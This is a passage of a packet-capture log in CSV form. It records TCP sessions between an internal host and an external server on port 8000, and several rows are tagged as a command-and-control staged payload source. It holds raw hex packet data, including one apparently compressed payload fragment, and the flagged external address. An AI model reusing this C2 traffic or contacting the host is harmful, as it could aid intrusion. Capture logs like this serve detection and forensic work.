8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405699, \"\"ack\"\": 3789025864, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 21139, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:09:18.711711,526,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=519372629 Ack=0,bc24112907bbbc2411360d0c080045000034b099400080063f5a0a98980bc0a3a789fa591f401ef4ff55000000008002faf0316b0000020405b40103030801010402,\".$.)...$.6\n...E..4..@...?Z\n........Y.@...U........1k..............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45209, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16218, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372629, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 12651, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:09:18.711743,527,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=1345064462 Ack=519372630,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa59502c0e0e1ef4ff568012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@.YP,.....V....\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064462, \"\"ack\"\": 519372630, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:09:18.712028,528,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=519372630 Ack=1345064463,bc24112907bbbc2411360d0c080045000028b09a400080063f650a98980bc0a3a789fa591f401ef4ff56502c0e0f50102014eecf0000,\".$.)...$.6\n...E..(..@...?e\n........Y.@...VP,..P. .....\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45210, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16229, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372630, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 61135, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:09:18.727657,529,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=519372630 Ack=1345064463,bc24112907bbbc2411360d0c0800450000c9b09b400080063ec30a98980bc0a3a789fa591f401ef4ff56502c0e0f501820144a5300009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91cb718ec7a131949a07003906ac94,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q...1....9...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45211, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16067, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372630, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 19027, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91cb718ec7a131949a07003906ac94\"\"}}]\"\n2026-07-01 09:09:18.727678,530,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000028ec054000400643fac0a3a7890a98980b1f40fa59502c0e0f1ef4fff75010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.C.....\n....@.YP,......P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60421, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17402, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:09:19.739537,531,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b09c400080063f620a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45212, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16226, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:19.739567,532,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec064000400643edc0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60422, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17389, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:20.755511,533,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b09d400080063f610a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45213, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16225, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:20.755537,534,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec074000400643ecc0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60423, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17388, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:21.770831,535,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b09e400080063f600a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45214, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16224, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:21.770844,536,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec084000400643ebc0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60424, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17387, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:22.786453,537,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b09f400080063f5f0a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45215, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16223, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:22.786481,538,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec094000400643eac0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4.\t@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60425, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17386, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:23.817729,539,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a0400080063f5e0a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45216, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16222, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:23.817754,540,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372791,bc2411360d0cbc24112907bb080045000034ec0a4000400643e9c0a3a7890a98980b1f40fa59502c0e0f1ef4fff78010003f0af700000101050a1ef4fff61ef4fff7,\".$.6\n..$.)....E..4.\n@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60426, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17385, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372791, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372790, 519372791))]\"\"}}]\"\n2026-07-01 09:09:24.833364,541,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372790 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0a1400080063f5d0a98980bc0a3a789fa591f401ef4fff6502c0e0f50102014ee2e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45217, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16221, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372790, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60974, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:24.833374,542,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 